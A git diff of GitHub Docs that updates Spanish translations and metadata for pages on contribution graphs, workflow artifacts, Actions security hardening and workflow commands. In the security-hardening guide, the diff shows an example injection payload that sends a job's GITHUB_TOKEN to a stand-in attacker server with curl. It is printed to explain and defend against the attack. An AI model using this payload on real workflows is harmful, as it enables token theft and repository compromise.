diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile.md index f7adaf2f61..c59b4baa5e 100644 --- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile.md +++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile.md @@ -1,6 +1,6 @@ --- -title: Why are my contributions not showing up on my profile? -intro: Learn common reasons that contributions may be missing from your contributions graph. +title: ¿Por qué mis contribuciones no aparecen en mi perfil? +intro: Aprende sobre las razones habituales por las cuales podrían faltar contribuciones en tu gráfica. redirect_from: - /articles/why-are-my-contributions-not-showing-up-on-my-profile - /github/setting-up-and-managing-your-github-profile/why-are-my-contributions-not-showing-up-on-my-profile @@ -14,49 +14,54 @@ versions: topics: - Profiles shortTitle: Missing contributions +ms.openlocfilehash: f3480b1b4f2857a144ad8e264e0d8b78196b1a3e +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148107049' --- +## Acerca de tu gráfica de contribuciones -## About your contribution graph +La gráfica de contribuciones de tu perfil es un registro de las contribuciones que has hecho en los repositorios {% ifversion ghae %}propiedad{% else %}de{% endif %} {% data variables.location.product_location %}. Las contribuciones son registros horarios de acuerdo a la zona horaria universal coordinada (UTC) en lugar de tu zona horaria local. Las contribuciones solo se cuentan si cumplen con determinados criterios. En algunos casos, necesitamos reconstruir tu gráfico para que aparezcan las contribuciones. -Your profile contributions graph is a record of contributions you've made to repositories {% ifversion ghae %}owned by{% else %}on{% endif %} {% data variables.location.product_location %}. Contributions are timestamped according to Coordinated Universal Time (UTC) rather than your local time zone. Contributions are only counted if they meet certain criteria. In some cases, we may need to rebuild your graph in order for contributions to appear. +Si eres parte de una organización que utiliza el inicio de sesión único (SSO) de SAML, no podrás ver la actividad de las contribuciones desde la organización en tu perfil de no tener una sesión de SSO activa. Las personas que ven tu perfil desde fuera de tu organización verán una actividad de contribución anonimizada de aquella para tu organización. -If you are part of an organization that uses SAML single sign-on (SSO), you won’t be able to see contribution activity from the organization on your profile if you do not have an active SSO session. People viewing your profile from outside your organization will see anonymized contribution activity of your contribution activity for your organization. +## Contribuciones que se cuentan -## Contributions that are counted +### Propuestas, solicitudes de cambios y debates -### Issues, pull requests and discussions +Las propuestas, solicitudes de cambios y debates aparecerán en tu gráfica de contribuciones si se abrieron en un repositorio independiente y no en una bifurcación. -Issues, pull requests, and discussions will appear on your contribution graph if they were opened in a standalone repository, not a fork. +### Confirmaciones +Las confirmaciones aparecerán en el gráfico de contribuciones si cumplen **todas** las condiciones siguientes: +- La dirección de correo electrónico que se utiliza para las confirmaciones se asocia con tu cuenta de {% data variables.location.product_location %}. +- Las confirmaciones se hicieron en un repositorio independiente, no en una bifurcación. +- Las confirmaciones se hicieron: + - En la rama predeterminada del repositorio + - En la rama `gh-pages` (para repositorios con sitios del proyecto) -### Commits -Commits will appear on your contributions graph if they meet **all** of the following conditions: -- The email address used for the commits is associated with your account on {% data variables.location.product_location %}. -- The commits were made in a standalone repository, not a fork. -- The commits were made: - - In the repository's default branch - - In the `gh-pages` branch (for repositories with project sites) +Para obtener más información acerca de los sitios del proyecto, vea "[Acerca de {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#types-of-github-pages-sites)". -For more information on project sites, see "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#types-of-github-pages-sites)." +Además, debe cumplirse **al menos una** de las siguientes condiciones: +- Eres un colaborador en el repositorio o eres miembro de la organización a la que pertenece el repositorio. +- Has bifurcado el repositorio. +- Has abierto una solicitud de extracción o una propuesta en el repositorio. +- Has destacado el repositorio. -In addition, **at least one** of the following must be true: -- You are a collaborator on the repository or are a member of the organization that owns the repository. -- You have forked the repository. -- You have opened a pull request or issue in the repository. -- You have starred the repository. - -## Common reasons that contributions are not counted +## Razones comunes por las que las contribuciones no se cuentan {% data reusables.pull_requests.pull_request_merges_and_contributions %} -### Commit was made less than 24 hours ago +### La confirmación se hizo hace menos de 24 horas -After making a commit that meets the requirements to count as a contribution, you may need to wait for up to 24 hours to see the contribution appear on your contributions graph. +Después de hacer una confirmación que cumpla con los requisitos para contar como una contribución, es posible que debas esperar hasta 24 horas para que aparezca la contribución en tu gráfico de contribución. -### Your local Git commit email isn't connected to your account +### Tu correo electrónico de confirmaciones de Git no está conectado a tu cuenta -Commits must be made with an email address that is connected to your account on {% data variables.location.product_location %}{% ifversion fpt or ghec %}, or the {% data variables.product.prodname_dotcom %}-provided `noreply` email address provided to you in your email settings,{% endif %} in order to appear on your contributions graph.{% ifversion fpt or ghec %} For more information about `noreply` email addresses, see "[Setting your commit email address](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#about-commit-email-addresses)."{% endif %} +Las confirmaciones deben realizarse con una dirección de correo electrónico conectada a tu cuenta de {% data variables.location.product_location %}{% ifversion fpt or ghec %}, o la dirección de correo electrónico `noreply` proporcionada por {% data variables.product.prodname_dotcom %} y facilitada en la configuración de correo electrónico,{% endif %} para que aparezca en el gráfico de contribuciones.{% ifversion fpt or ghec %} Para obtener más información sobre las direcciones de correo electrónico `noreply`, consulta "[Configuración de la dirección de correo electrónico de confirmación](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#about-commit-email-addresses)".{% endif %} -You can check the email address used for a commit by adding `.patch` to the end of a commit URL, e.g. https://github.com/octocat/octocat.github.io/commit/67c0afc1da354d8571f51b6f0af8f2794117fd10.patch: +Puede comprobar la dirección de correo electrónico usada para una confirmación agregando `.patch` al final de una dirección URL de confirmación como, por ejemplo, https://github.com/octocat/octocat.github.io/commit/67c0afc1da354d8571f51b6f0af8f2794117fd10.patch: ``` From 67c0afc1da354d8571f51b6f0af8f2794117fd10 Mon Sep 17 00:00:00 2001 @@ -65,41 +70,39 @@ Date: Sun, 27 Apr 2014 15:36:39 +0530 Subject: [PATCH] updated index for better welcome message ``` -The email address in the `From:` field is the address that was set in the [local git config settings](/articles/set-up-git). In this example, the email address used for the commit is `octocat@nowhere.com`. +La dirección de correo electrónico del campo `From:` es la dirección que se ha establecido en los [valores de configuración de git local](/articles/set-up-git). En este ejemplo, la dirección de correo electrónico usada para la confirmación es `octocat@nowhere.com`. -If the email address used for the commit is not connected to your account on {% data variables.location.product_location %}, {% ifversion ghae %}change the email address used to author commits in Git. For more information, see "[Setting your commit email address](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git)."{% else %}you must [add the email address](/articles/adding-an-email-address-to-your-github-account) to your account on {% data variables.location.product_location %}. Your contributions graph will be rebuilt automatically when you add the new address.{% endif %} +Si la dirección de correo electrónico que se utiliza para la confirmación no está conectada a tu cuenta de {% data variables.location.product_location %}, {% ifversion ghae %}cambia la que se utiliza para crear confirmaciones en Git. Para obtener más información, consulta "[Configuración de la dirección de correo electrónico de confirmación](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git)".{% else %}debes [agregar la dirección de correo electrónico](/articles/adding-an-email-address-to-your-github-account) a tu cuenta de {% data variables.location.product_location %}. Tu gráfica de contribuciones se reconstruirá automáticamente cuando agregues la nueva dirección.{% endif %} -{% ifversion fpt or ghec %} -{% note %} +{% ifversion fpt or ghec %} {% note %} -**Note**: If you use a {% data variables.enterprise.prodname_managed_user %}, you cannot add additional email addresses to the account, even if multiple email addresses are registered with your identity provider (IdP). Therefore, only commits that are authored by the primary email address registered with your IdP can be associated with your {% data variables.enterprise.prodname_managed_user %}. +**Nota**: Si usas una {% data variables.enterprise.prodname_managed_user %}, no puedes agregar más direcciones de correo electrónico a la cuenta, aunque haya varias direcciones de correo registradas electrónico con el proveedor de identidades (IdP). Por lo tanto, solo se pueden asociar a tu {% data variables.enterprise.prodname_managed_user %} las confirmaciones creadas mediante la dirección de correo electrónico principal registrada con el IdP. -{% endnote %} -{% endif %} +{% endnote %} {% endif %} -Generic email addresses, such as `jane@computer.local`, cannot be added to {% data variables.product.prodname_dotcom %} accounts and linked to commits. If you've authored any commits using a generic email address, the commits will not be linked to your {% data variables.product.prodname_dotcom %} profile and will not show up in your contribution graph. +Las direcciones de correo electrónico genéricas, como `jane@computer.local`, no se pueden agregar a cuentas de {% data variables.product.prodname_dotcom %} ni vincularse a confirmaciones. Si has creado confirmaciones con una dirección de correo electrónico genérica, las confirmaciones no se vincularán a tu perfil de {% data variables.product.prodname_dotcom %} ni aparecerán en tu gráfico de contribución. -### Commit was not made in the default or `gh-pages` branch +### No se ha realizado la confirmación en la rama `gh-pages` o en la predeterminada -Commits are only counted if they are made in the default branch or the `gh-pages` branch (for repositories with project sites). For more information, see "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#types-of-github-pages-sites)." +Las confirmaciones solo se cuentan si se realizan en la rama `gh-pages` o en la predeterminada (para los repositorios con sitios del proyecto). Para obtener más información, consulta [Acerca de {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#types-of-github-pages-sites). -If your commits are in a non-default or non-`gh-pages` branch and you'd like them to count toward your contributions, you will need to do one of the following: -- [Open a pull request](/articles/creating-a-pull-request) to have your changes merged into the default branch or the `gh-pages` branch. -- [Change the default branch](/github/administering-a-repository/changing-the-default-branch) of the repository. +Si sus confirmaciones se encuentran en una rama que no es la rama predeterminada ni la rama `gh-pages` y le gustaría que contaran para sus contribuciones, necesitará realizar una de las acciones siguientes: +- [Abrir una solicitud de incorporación de cambios](/articles/creating-a-pull-request) para que los cambios se combinen en la rama `gh-pages` o en la predeterminada. +- [Cambiar la rama predeterminada](/github/administering-a-repository/changing-the-default-branch) del repositorio. {% warning %} -**Warning**: Changing the default branch of the repository will change it for all repository collaborators. Only do this if you want the new branch to become the base against which all future pull requests and commits will be made. +**Advertencia**: Cambiar la rama predeterminada del repositorio hará que se cambie para todos los colaboradores del repositorio. Realiza esta acción solamente si quieres que la nueva rama se convierta en la base respecto de todas las confirmaciones y las solicitudes de extracción que se harán en el futuro. {% endwarning %} -### Commit was made in a fork +### La confirmación se hizo en una bifurcación -Commits made in a fork will not count toward your contributions. To make them count, you must do one of the following: -- [Open a pull request](/articles/creating-a-pull-request) to have your changes merged into the parent repository. -- To detach the fork and turn it into a standalone repository on {% data variables.location.product_location %}, contact {% data variables.contact.contact_support %}. If the fork has forks of its own, let {% data variables.contact.contact_support %} know if the forks should move with your repository into a new network or remain in the current network. For more information, see "[About forks](/articles/about-forks/)." +Las confirmaciones que se hicieron en una bifurcación no contarán para tus contribuciones. Para hacer que cuenten, debes realizar una de las siguientes acciones: +- [Abrir una solicitud de incorporación de cambios](/articles/creating-a-pull-request) para que los cambios se combinen en el repositorio principal. +- Para desconectar la bifurcación y convertirla en un repositorio independiente en {% data variables.location.product_location %}, ponte en contacto con {% data variables.contact.contact_support %}. Si la bifurcación tiene a su vez más bifurcaciones, indícale al {% data variables.contact.contact_support %} si éstas deberán moverse junto con tu repositorio a una nueva red o permanecer en la actual. Para obtener más información, vea "[Acerca de las bifurcaciones](/articles/about-forks/)". -## Further reading +## Información adicional -- "[Publicizing or hiding your private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)" -- "[Viewing contributions on your profile page](/articles/viewing-contributions-on-your-profile-page)" +- "[Divulgación u ocultación de las contribuciones privadas en el perfil](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)" +- "[Visualización de contribuciones en la página del perfil](/articles/viewing-contributions-on-your-profile-page)" diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/index.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/index.md index d72f863eba..6fdc220329 100644 --- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/index.md +++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/index.md @@ -1,6 +1,6 @@ --- -title: Setting up and managing your personal account on GitHub -intro: 'You can manage settings for your personal account on {% ifversion fpt or ghec or ghes %}{% data variables.location.product_location %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %}, including email preferences, access to personal repositories, and organization memberships. You can also manage the account itself.' +title: Configuración y administración de tu cuenta personal de GitHub +intro: 'Puedes administrar la configuración de tu cuenta personal en {% ifversion fpt or ghec or ghes %}{% data variables.location.product_location %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %}, incluidas las preferencias de correo electrónico, el acceso a repositorios personales y las pertenencias a la organización. También puedes administrar la propia cuenta.' shortTitle: Personal accounts redirect_from: - /categories/setting-up-and-managing-your-github-user-account @@ -19,5 +19,11 @@ children: - /managing-email-preferences - /managing-access-to-your-personal-repositories - /managing-your-membership-in-organizations +ms.openlocfilehash: b3c8007f37b9c61650f96a51e805024dd10a853f +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148106689' --- diff --git a/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-go.md b/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-go.md index 1805ec92a1..5601bcaa66 100644 --- a/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-go.md +++ b/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-go.md @@ -10,12 +10,12 @@ type: tutorial topics: - CI shortTitle: Build & test Go -ms.openlocfilehash: 64e0c8acfa23436903b510a47cd1b43f55274f5f -ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.openlocfilehash: 590edc2af0b7f370e52b449f320bdc2a758450bc +ms.sourcegitcommit: 2e1852bcdd690cb66b9b5d69cb056a2bb2b9a6b4 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 09/05/2022 -ms.locfileid: '147080523' +ms.lasthandoff: 11/10/2022 +ms.locfileid: '148160859' --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} @@ -122,8 +122,8 @@ Puedes usar `go get` para instalar dependencias: - name: Install dependencies run: | go get . - go get example.lab/octo-examplemodule - go get example.lab/octo-examplemodule@v1.3.4 + go get example.com/octo-examplemodule + go get example.com/octo-examplemodule@v1.3.4 ``` {% ifversion actions-caching %} diff --git a/translations/es-ES/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md b/translations/es-ES/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md index 3a2f0afc9f..dd44b85b62 100644 --- a/translations/es-ES/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md +++ b/translations/es-ES/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md @@ -1,18 +1,19 @@ --- title: Descargar los artefactos del flujo de trabajo intro: Puedes descargar artefactos archivados antes de que venzan automáticamente. +permissions: 'People who are signed into {% data variables.product.product_name %} and have read access to a repository can download workflow artifacts.' versions: fpt: '*' ghes: '*' ghae: '*' ghec: '*' shortTitle: Download workflow artifacts -ms.openlocfilehash: 71e00a13769b696b47864d53d702770fb4f2b47a -ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.openlocfilehash: dcb2d97095f6cdd704207084b776db05a4d1bd44 +ms.sourcegitcommit: d82f268a6f0236d1f4d2bf3d049974ada0170402 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 09/11/2022 -ms.locfileid: '145117186' +ms.lasthandoff: 11/10/2022 +ms.locfileid: '148160636' --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} @@ -39,25 +40,25 @@ El {% data variables.product.prodname_cli %} descargará cada artefacto en direc Para descargar todos los artefactos generados por una ejecución de flujo de trabajo, use el subcomando `run download`. Reemplace `run-id` por el identificador de la ejecución desde la que quiera descargar los artefactos. Si no especifica un valor `run-id`, {% data variables.product.prodname_cli %} devuelve un menú interactivo para que elija una ejecución reciente. ```shell -gh run download run-id +gh run download RUN_ID ``` Para descargar un artefacto específico de una ejecución, use el subcomando `run download`. Reemplace `run-id` por el identificador de la ejecución desde la que quiera descargar los artefactos. Reemplace `artifact-name` por el nombre del artefacto que quiera descargar. ```shell -gh run download run-id -n artifact-name +gh run download RUN_ID -n ARTIFACT_NAME ``` Puedes especificar más de un artefacto. ```shell -gh run download run-id -n artifact-name-1 -n artifact-name-2 +gh run download RUN_ID> -n ARTIFACT_NAME-1 -n ARTIFACT_NAME-2 ``` Para descargar artefactos específicos en todas las ejecuciones de un repositorio, use el subcomando `run download`. ```shell -gh run download -n artifact-name-1 -n artifact-name-2 +gh run download -n ARTIFACT_NAME-1 ARTIFACT_NAME-2 ``` {% endcli %} diff --git a/translations/es-ES/content/actions/migrating-to-github-actions/index.md b/translations/es-ES/content/actions/migrating-to-github-actions/index.md index 4e87f6d880..530bc65c2e 100644 --- a/translations/es-ES/content/actions/migrating-to-github-actions/index.md +++ b/translations/es-ES/content/actions/migrating-to-github-actions/index.md @@ -1,6 +1,6 @@ --- title: Migrar a GitHub Actions -shortTitle: Migrating to GitHub Actions +shortTitle: Migrate to GitHub Actions intro: 'Aprende cómo migrar tus flujos de trabajos existentes de IC/DC a {% data variables.product.prodname_actions %}.' versions: fpt: '*' @@ -11,16 +11,17 @@ redirect_from: - /actions/migrating-to-github-actions - /articles/migrating-github-actions-from-hcl-syntax-to-yaml-syntax children: + - /automating-migration-with-github-actions-importer - /migrating-from-azure-pipelines-to-github-actions - /migrating-from-circleci-to-github-actions - /migrating-from-gitlab-cicd-to-github-actions - /migrating-from-jenkins-to-github-actions - /migrating-from-travis-ci-to-github-actions -ms.openlocfilehash: 52a72e144da3ccd9f87f366deb2e9181e7474507 -ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.openlocfilehash: b3964e3e477a61052b241dfb3d2d02ebecbf96c5 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 09/10/2022 -ms.locfileid: '147880641' +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158937' --- diff --git a/translations/es-ES/content/actions/security-guides/encrypted-secrets.md b/translations/es-ES/content/actions/security-guides/encrypted-secrets.md index 693eb7bb34..fe5355ee55 100644 --- a/translations/es-ES/content/actions/security-guides/encrypted-secrets.md +++ b/translations/es-ES/content/actions/security-guides/encrypted-secrets.md @@ -213,7 +213,15 @@ You can check which access policies are being applied to a secret in your organi {% note %} -**Note:** {% data reusables.actions.forked-secrets %} +**Notes:** + +* {% data reusables.actions.forked-secrets %} + +{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} + +* Secrets are not automatically passed to reusable workflows. For more information, see "[Reusing workflows](/actions/using-workflows/reusing-workflows#passing-inputs-and-secrets-to-a-reusable-workflow)." + +{% endif %} {% endnote %} diff --git a/translations/es-ES/content/actions/security-guides/security-hardening-for-github-actions.md b/translations/es-ES/content/actions/security-guides/security-hardening-for-github-actions.md index fed4af9a0b..f536b5df5b 100644 --- a/translations/es-ES/content/actions/security-guides/security-hardening-for-github-actions.md +++ b/translations/es-ES/content/actions/security-guides/security-hardening-for-github-actions.md @@ -149,7 +149,7 @@ With this approach, the value of the {% raw %}`${{ github.event.issue.title }}`{ ### Using starter workflows for code scanning {% data reusables.advanced-security.starter-workflows-beta %} -{% data variables.product.prodname_code_scanning_capc %} allows you to find security vulnerabilities before they reach production. {% data variables.product.product_name %} provides starter workflows for {% data variables.product.prodname_code_scanning %}. You can use these suggested workflows to construct your {% data variables.product.prodname_code_scanning %} workflows, instead of starting from scratch. {% data variables.product.company_short%}'s workflow, the {% data variables.product.prodname_codeql_workflow %}, is powered by {% data variables.product.prodname_codeql %}. There are also third-party starter workflows available. +{% data variables.product.prodname_code_scanning_capc %} allows you to find security vulnerabilities before they reach production. {% data variables.product.product_name %} provides starter workflows for {% data variables.product.prodname_code_scanning %}. You can use these suggested workflows to construct your {% data variables.product.prodname_code_scanning %} workflows, instead of starting from scratch. {% data variables.product.company_short%}'s workflow, the {% data variables.code-scanning.codeql_workflow %}, is powered by {% data variables.product.prodname_codeql %}. There are also third-party starter workflows available. For more information, see "[About {% data variables.product.prodname_code_scanning %}](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning)" and "[Setting up {% data variables.product.prodname_code_scanning %} using starter workflows](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-starter-workflows)." @@ -245,7 +245,7 @@ An attacker can exfiltrate any stolen secrets or other data from the runner. To ### Stealing the job's `GITHUB_TOKEN` -It is possible for an attacker to steal a job's `GITHUB_TOKEN`. The {% data variables.product.prodname_actions %} runner automatically receives a generated `GITHUB_TOKEN` with permissions that are limited to just the repository that contains the workflow, and the token expires after the job has completed. Once expired, the token is no longer useful to an attacker. To work around this limitation, they can automate the attack and perform it in fractions of a second by calling an attacker-controlled server with the token, for example: `a"; set +e; curl http://example.lab?token=$GITHUB_TOKEN;#`. +It is possible for an attacker to steal a job's `GITHUB_TOKEN`. The {% data variables.product.prodname_actions %} runner automatically receives a generated `GITHUB_TOKEN` with permissions that are limited to just the repository that contains the workflow, and the token expires after the job has completed. Once expired, the token is no longer useful to an attacker. To work around this limitation, they can automate the attack and perform it in fractions of a second by calling an attacker-controlled server with the token, for example: `a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#`. ### Modifying the contents of a repository diff --git a/translations/es-ES/content/actions/using-workflows/workflow-commands-for-github-actions.md b/translations/es-ES/content/actions/using-workflows/workflow-commands-for-github-actions.md index 710052edb7..6f565ff037 100644 --- a/translations/es-ES/content/actions/using-workflows/workflow-commands-for-github-actions.md +++ b/translations/es-ES/content/actions/using-workflows/workflow-commands-for-github-actions.md @@ -1,7 +1,7 @@ --- -title: Workflow commands for GitHub Actions +title: Comandos de flujo de trabajo para Acciones de GitHub shortTitle: Workflow commands -intro: You can use workflow commands when running shell commands in a workflow or in an action's code. +intro: Puedes usar comandos de flujo de trabajo cuando ejecutas comandos de Shell en un flujo de trabajo o en el código de una acción. defaultTool: bash redirect_from: - /articles/development-tools-for-github-actions @@ -16,18 +16,22 @@ versions: ghes: '*' ghae: '*' ghec: '*' +ms.openlocfilehash: 69853702258a6a0acaa3501e007c8c20a52874d5 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148106889' --- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.enterprise-beta %} -{% data reusables.actions.enterprise-github-hosted-runners %} +## Acerca de los comandos de flujo -## About workflow commands +Las acciones pueden comunicarse con la máquina del ejecutor para establecer variables de entorno, valores de salida utilizados por otras acciones, agregar mensajes de depuración a los registros de salida y otras tareas. -Actions can communicate with the runner machine to set environment variables, output values used by other actions, add debug messages to the output logs, and other tasks. +La mayoría de los comandos de flujo de trabajo usan el comando `echo` en un formato específico, mientras que otros se pueden invocar escribiendo en un archivo. Para más información, vea "[Archivos de entorno](#environment-files)". -Most workflow commands use the `echo` command in a specific format, while others are invoked by writing to a file. For more information, see "[Environment files](#environment-files)." - -### Example +### Ejemplo {% bash %} @@ -47,30 +51,29 @@ Write-Output "::workflow-command parameter1={data},parameter2={data}::{command v {% note %} -**Note:** Workflow command and parameter names are not case-sensitive. +**Nota:** Los nombres de parámetros y comandos de flujo de trabajo no distinguen mayúsculas de minúsculas. {% endnote %} {% warning %} -**Warning:** If you are using Command Prompt, omit double quote characters (`"`) when using workflow commands. +**Advertencia:** Si utiliza el símbolo del sistema, omita los caracteres de comillas dobles (`"`) al usar comandos de flujo de trabajo. {% endwarning %} -## Using workflow commands to access toolkit functions +## Utilizar comandos de flujo de trabajo para acceder a las funciones de toolkit -The [actions/toolkit](https://github.com/actions/toolkit) includes a number of functions that can be executed as workflow commands. Use the `::` syntax to run the workflow commands within your YAML file; these commands are then sent to the runner over `stdout`. +En [actions/toolkit](https://github.com/actions/toolkit) se incluye una serie de funciones que se pueden ejecutar como comandos de flujo de trabajo. Use la sintaxis `::` para ejecutar los comandos de flujo de trabajo dentro del archivo YAML; estos comandos se envían al ejecutor por medio de `stdout`. -{%- ifversion actions-save-state-set-output-envs %} -For example, instead of using code to create an error annotation, as below: +{%- ifversion actions-save-state-set-output-envs %} Por ejemplo, en lugar de usar código para crear una anotación de error, como aquí: ```javascript{:copy} core.error('Missing semicolon', {file: 'app.js', startLine: 1}) ``` -### Example: Creating an annotation for an error +### Ejemplo: Crear una anotación de un error -You can use the `error` command in your workflow to create the same error annotation: +Puedes usar el comando `error` en tu flujo de trabajo para crear la misma anotación de error: {% bash %} @@ -92,17 +95,15 @@ You can use the `error` command in your workflow to create the same error annota ``` {% endraw %} -{% endpowershell %} -{%- else %} -For example, instead of using code to set an output, as below: +{% endpowershell %} {%- else %} Por ejemplo, en vez de utilizar código para configurar una salida, como se muestra aquí: ```javascript{:copy} core.setOutput('SELECTED_COLOR', 'green'); ``` -### Example: Setting a value +### Ejemplo: Configurar un valor -You can use the `set-output` command in your workflow to set the same value: +Puede usar el comando `set-output` en el flujo de trabajo para establecer el mismo valor: {% bash %} @@ -134,44 +135,35 @@ You can use the `set-output` command in your workflow to set the same value: {% endif %} -The following table shows which toolkit functions are available within a workflow: +La siguiente tabla muestra qué funciones del toolkit se encuentran disponibles dentro de un flujo de trabajo: -| Toolkit function | Equivalent workflow command | +| Funcion del Toolkit | Comando equivalente del flujo de trabajo | | ----------------- | ------------- | -| `core.addPath` | Accessible using environment file `GITHUB_PATH` | +| `core.addPath` | Accesible mediante el archivo de entorno `GITHUB_PATH` | | `core.debug` | `debug` | | `core.notice` | `notice` | | `core.error` | `error` | | `core.endGroup` | `endgroup` | -| `core.exportVariable` | Accessible using environment file `GITHUB_ENV` | -| `core.getInput` | Accessible using environment variable `INPUT_{NAME}` | -| `core.getState` | Accessible using environment variable `STATE_{NAME}` | -| `core.isDebug` | Accessible using environment variable `RUNNER_DEBUG` | -{%- ifversion actions-job-summaries %} -| `core.summary` | Accessible using environment file `GITHUB_STEP_SUMMARY` | -{%- endif %} -| `core.saveState` | {% ifversion actions-save-state-set-output-envs %}Accessible using environment file `GITHUB_STATE`{% else %}`save-state`{% endif %} | -| `core.setCommandEcho` | `echo` | -| `core.setFailed` | Used as a shortcut for `::error` and `exit 1` | -| `core.setOutput` | {% ifversion actions-save-state-set-output-envs %}Accessible using environment file `GITHUB_OUTPUT`{% else %}`set-output`{% endif %} | -| `core.setSecret` | `add-mask` | -| `core.startGroup` | `group` | -| `core.warning` | `warning` | +| `core.exportVariable` | Accesible mediante el archivo de entorno `GITHUB_ENV` | +| `core.getInput` | Accesible mediante la variable de entorno `INPUT_{NAME}` | +| `core.getState` | Accesible mediante la variable de entorno `STATE_{NAME}` | +| `core.isDebug` | Accesible mediante la variable de entorno `RUNNER_DEBUG` | +{%- ifversion actions-job-summaries %} | `core.summary` | Accesible mediante el archivo de entorno `GITHUB_STEP_SUMMARY` | {%- endif %} | `core.saveState` | {% ifversion actions-save-state-set-output-envs %}Accesible mediante el archivo de entorno `GITHUB_STATE`{% else %}`save-state`{% endif %} | | `core.setCommandEcho` | `echo` | | `core.setFailed` | Se usa como acceso directo de `::error` y `exit 1` | | `core.setOutput` | {% ifversion actions-save-state-set-output-envs %}Accesible mediante el archivo de entorno `GITHUB_OUTPUT`{% else %}`set-output`{% endif %} | | `core.setSecret` | `add-mask` | | `core.startGroup` | `group` | | `core.warning` | `warning` | {% ifversion actions-save-state-set-output-envs %}{% else %} -## Setting an output parameter +## Configurar un parámetro de salida -Sets an action's output parameter. +Establece un parámetro de salida de la acción. ```{:copy} ::set-output name={name}::{value} ``` -Optionally, you can also declare output parameters in an action's metadata file. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/articles/metadata-syntax-for-github-actions#outputs-for-docker-container-and-javascript-actions)." +Opcionalmente, también puedes declarar parámetros de salida en el archivo de metadatos de una acción. Para más información, vea "[Sintaxis de metadatos para {% data variables.product.prodname_actions %}](/articles/metadata-syntax-for-github-actions#outputs-for-docker-container-and-javascript-actions)". -You can escape multiline strings for setting an output parameter by creating an environment variable and using it in a workflow command. For more information, see "[Setting an environment variable](#setting-an-environment-variable)." +Para escapar cadenas multilínea para establecer un parámetro de salida, crea una variable de entorno y úsala en un comando de flujo de trabajo. Para obtener más información, consulta "[Configuración de una variable de entorno](#setting-an-environment-variable)". -### Example: Setting an output parameter +### Ejemplo;: Configurar un parámetro de salida {% bash %} @@ -187,18 +179,17 @@ echo "::set-output name=action_fruit::strawberry" Write-Output "::set-output name=action_fruit::strawberry" ``` -{% endpowershell %} -{% endif %} +{% endpowershell %} {% endif %} -## Setting a debug message +## Agregar un mensaje de depuración -Prints a debug message to the log. You must create a secret named `ACTIONS_STEP_DEBUG` with the value `true` to see the debug messages set by this command in the log. For more information, see "[Enabling debug logging](/actions/managing-workflow-runs/enabling-debug-logging)." +Imprime un mensaje de depuración en el registro. Debe crear un secreto denominado `ACTIONS_STEP_DEBUG` con el valor `true` para ver los mensajes de depuración establecidos por este comando en el registro. Para más información, vea "[Habilitación del registro de 